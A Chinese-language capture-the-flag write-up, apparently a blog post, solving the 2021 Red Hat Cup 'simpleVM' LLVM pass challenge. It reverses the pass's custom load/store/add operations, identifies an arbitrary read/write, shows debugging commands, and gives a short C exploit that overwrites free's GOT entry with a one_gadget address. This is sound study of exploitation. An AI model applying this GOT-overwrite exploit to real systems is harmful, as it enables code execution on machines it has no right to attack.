CTF-PWN-LLVM-【红帽杯-2021 simpleVM】

文章目录

参考

https://bbs.kanxue.com/thread-274259.htm#msg_header_h2_6

http://www.blackbird.wang/2022/08/30/LLVM-PASS类pwn题总结/

检查

因为是用opt运行,加载动态库VMPASS.so的PASS类,再通过该PASS类对IR进行优化,所以pwn的是opt

逆向

搜索vtable定位到虚表,最下面的函数就是重写的虚函数runOnFunction

检查你优化的程序中的函数名,存在为o0o0o0o0就会调用sub_6AC0

以块为单位遍历该函数

然后调用sub_6B80处理块

cpp 复制代码
__int64 __fastcall sub_6B80(__int64 a1, llvm::BasicBlock *basic_block)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  command[1] = __readfsqword(0x28u);
  command[0] = llvm::BasicBlock::begin(basic_block);
  while ( 1 )
  {
    end = llvm::BasicBlock::end(basic_block);
    if ( (llvm::operator!=(command, &end) & 1) == 0 )
      break;
    v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>(command);
    if ( (unsigned int)llvm::Instruction::getOpcode(v36) == 55 )// 遇到call指令
    {
      v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);// 转换为call指令对应的指针
      if ( v35 )
      {
        name = (char *)malloc(0x20uLL);
        CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
        v37 = (_QWORD *)llvm::Value::getName(CalledFunction);
        *(_QWORD *)name = *v37;
        *((_QWORD *)name + 1) = v37[1];
        *((_QWORD *)name + 2) = v37[2];
        *((_QWORD *)name + 3) = v37[3];
        if ( !strcmp(name, "pop") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            ArgOperand = llvm::CallBase::getArgOperand(v35, 0);
            v32 = 0LL;
            v31 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(ArgOperand);
            if ( v31 )
            {
              ZExtValue = llvm::ConstantInt::getZExtValue(v31);
              if ( ZExtValue == 1 )
                v32 = off_20DFD0;
              if ( ZExtValue == 2 )
                v32 = off_20DFC0;
            }
            if ( v32 )
            {
              v3 = sp_point;
              *v32 = *(_QWORD *)*sp_point;
              *v3 = (char *)*v3 - 8;
            }
          }
        }
        else if ( !strcmp(name, "push") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            v29 = llvm::CallBase::getArgOperand(v35, 0);
            v28 = 0LL;
            v27 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v29);
            if ( v27 )
            {
              v26 = llvm::ConstantInt::getZExtValue(v27);
              if ( v26 == 1 )
                v28 = off_20DFD0;
              if ( v26 == 2 )
                v28 = off_20DFC0;
            }
            if ( v28 )
            {
              v4 = sp_point;
              *sp_point = (char *)*sp_point + 8;
              *(_QWORD *)*v4 = *v28;
            }
          }
        }
        else if ( !strcmp(name, "store") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            v25 = llvm::CallBase::getArgOperand(v35, 0);
            v24 = 0LL;
            v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
            if ( v23 )
            {
              v22 = llvm::ConstantInt::getZExtValue(v23);
              if ( v22 == 1 )
                v24 = off_20DFD0;
              if ( v22 == 2 )
                v24 = off_20DFC0;
            }
            if ( v24 == off_20DFD0 )
            {
              **(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0;
            }
            else if ( v24 == off_20DFC0 )
            {
              **(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0;
            }
          }
        }
        else if ( !strcmp(name, "load") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
          {
            v21 = llvm::CallBase::getArgOperand(v35, 0);
            v20 = 0LL;
            v19 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v21);
            if ( v19 )
            {
              v18 = llvm::ConstantInt::getZExtValue(v19);
              if ( v18 == 1 )
                v20 = off_20DFD0;
              if ( v18 == 2 )
                v20 = off_20DFC0;
            }
            if ( v20 == off_20DFD0 )
              *(_QWORD *)off_20DFC0 = **(_QWORD **)off_20DFD0;
            if ( v20 == off_20DFC0 )
              *(_QWORD *)off_20DFD0 = **(_QWORD **)off_20DFC0;
          }
        }
        else if ( !strcmp(name, "add") )
        {
          if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
          {
            v17 = llvm::CallBase::getArgOperand(v35, 0);
            v16 = 0LL;
            v15 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v17);
            if ( v15 )
            {
              v14 = llvm::ConstantInt::getZExtValue(v15);
              if ( v14 == 1 )
                v16 = off_20DFD0;
              if ( v14 == 2 )
                v16 = off_20DFC0;
            }
            if ( v16 )
            {
              v13 = llvm::CallBase::getArgOperand(v35, 1u);
              v12 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v13);
              if ( v12 )
                *v16 += llvm::ConstantInt::getZExtValue(v12);
            }
          }
        }
        else if ( !strcmp(name, "min") && (unsigned int)llvm::CallBase::getNumOperands(v35) == 3 )
        {
          v11 = llvm::CallBase::getArgOperand(v35, 0);
          v10 = 0LL;
          v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11);
          if ( v9 )
          {
            v8 = llvm::ConstantInt::getZExtValue(v9);
            if ( v8 == 1 )
              v10 = off_20DFD0;
            if ( v8 == 2 )
              v10 = off_20DFC0;
          }
          if ( v10 )
          {
            v7 = llvm::CallBase::getArgOperand(v35, 1u);
            v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7);
            if ( v6 )
              *v10 -= llvm::ConstantInt::getZExtValue(v6);
          }
        }
        free(name);
      }
    }
    llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>::operator++(
      command,
      0LL);
  }
  return 1LL;
}

漏洞

根据指定的寄存器,将指定的寄存器的值指向的内容赋值给另一个寄存器

根据指定的寄存器,将另一个寄存器赋值给指定的寄存器的值指向的内容

存在任意地址读写

思路

没开pie,通过任意地址读写修改修改free的got表为gadget,因为opt优化调用的函数最后会free

不太行,调用的不是pie中的free,使用其他函数在最后的free,

而如果最终到call free的指令,此时rbp为0,会出现段错误

这里参考winmt师傅的做法

选择这个

got表,发现两个got表,都试试吧

第二个失败,上面的那个成功

调试

bash 复制代码
clang-8 -emit-llvm -S exp.c -o exp.bc或者
clang-8 -emit-llvm -S exp.c -o exp.ll
bash 复制代码
opt-8 -load ./VMPass.so -VMPass ./exp.bc

调试opt然后跟进到so文件

opt并不会一开始就将so模块加载进来,会执行一些初始化函数才会加载so模块。

调试的时候可以把断点下载llvm::Pass::preparePassManager,程序执行到这里的时候就已经加载了LLVMHello.so文件(或者到main+11507),我们就可以根据偏移进一步将断点下在LLVMHello.so文件里面

查看vmmap,发现已经加载进来,然后可以更加偏移断在runOnFunction上

成功

发现寄存器一开始是零,所以add相当于直接赋值了

找到got表

定位到PASS名

_cxa_atexit引用定位(在start函数里)

exp

add第二个参数用64位

c 复制代码
void add(int arg1,int arg2);
void load(int arg1);
void store(int arg1);

void o0o0o0o0(){
    add(1,0x77e100);
    load(1); //将free的got表的内容复制给第二个寄存器
    add(2,0x4942e); //free的地址和onegadget的偏移
    add(1,0x870);
    store(1); //修改free的got表的内容

}//0xe3b04 0xe3b01 0000000000006F8F
相关推荐
CH13hh11 天前
常回家看看之Tcache Stashing Unlink Attack
pwn·ctf
想拿 0day 的脚步小子18 天前
从ctfwiki开始的pwn之旅 5.ret2csu
pwn
centos082 个月前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
Mr_Fmnwon2 个月前
【我的 PWN 学习手札】House of Roman
pwn·ctf·heap
A5rZ2 个月前
ctf-pwn: 数组越界
pwn·ctf
雪痕春风天音九重色2 个月前
Re:从零开始的pwn学习(栈溢出篇)
pwn·ctf·栈溢出
Brinmon2 个月前
BUU刷题-Pwn-codegate2018_melong(ARM的ret2libc)
arm开发·arm·pwn·ctf
Brinmon2 个月前
HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)
网络安全·pwn·ctf
波克比QWQ3 个月前
malloc源码分析之 ----- 你想要啥chunk
笔记·pwn·堆入门
Mr_Fmnwon3 个月前
【我的 PWN 学习手札】tcache stash unlink
pwn·ctf·heap·tcache